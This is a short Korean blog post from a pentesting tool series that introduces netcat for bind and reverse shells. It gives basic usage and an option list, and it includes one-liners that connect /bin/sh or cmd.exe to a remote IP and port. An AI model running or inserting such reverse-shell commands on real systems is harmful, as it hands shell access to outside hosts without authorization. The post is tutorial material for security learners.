외로운 Nova의 작업실
Network Connection(nc) 본문
- nc
nc는 바인드 쉘과 리버스 쉘을 할때 많이 사용되는 프로그램입니다. 보통 리눅스에서는 기본으로 설치되어있지만 윈도우는 따로 설치해주셔야합니다. 아래 링크로 들어가서 설치할 수 있습니다.
https://eternallybored.org/misc/netcat/
- nc 사용법
nc 192.168.200.1 7979 :192.168.200.1에 7979포트에 접속합니다.
nc -l -p 7979 :7979포트에 listen합니다.
nc -e /bin/sh 192.168.220.1 7979 : 192.168.220.1 ip에 7979포트로 쉘프로그램을 연결합니다.
nc64 192.132.123.123 -e cmd.exe 7979 : 192.132.123.123 ip에 7979포트로 쉘프로그램을 연결합니다.
- nc 옵션
-l : 수신 모드 - 지정된 포트에서 들어오는 연결을 수신하는 데 사용됩니다.
-p : 연결에 사용할 포트를 지정합니다.
-s : 연결에 사용할 소스 주소를 지정합니다.
-v : 자세한 정보 표시 모드 - 연결 프로세스 중에 더 자세한 출력을 제공합니다.
-z : 지정된 호스트에서 열린 포트를 검색합니다.
-u : 접속시 TCP대신 UDP를 사용한다.
-e : 명령을 실행하고 입력/출력을 네트워크 연결로 리디렉션합니다.
-k : 클라이언트가 연결을 끊은 후에도 연결을 유지합니다.
-ssl : 연결에 SSL 암호화를 사용합니다.
-c : 연결이 설정된 후 원격 호스트에서 실행할 명령을 지정합니다.
-g : 연결에 사용할 게이트웨이를 지정합니다.
-x : 연결에 프록시 서버를 사용합니다.
'Server Penetesting > Hacking Tool' 카테고리의 다른 글
gobuster 기본 명령어 (0) | 2023.04.10 |
---|---|
mimikatz - 1(설치 및 LSASS 메모리 덤프, hash-the-pass) (0) | 2023.04.04 |
nmap - IDS 우회 기술 (0) | 2023.03.13 |
nmap - 방화벽 우회 기술 (0) | 2023.03.13 |
nmap - OS와 버전 스캔, 속도 (0) | 2023.03.12 |
Comments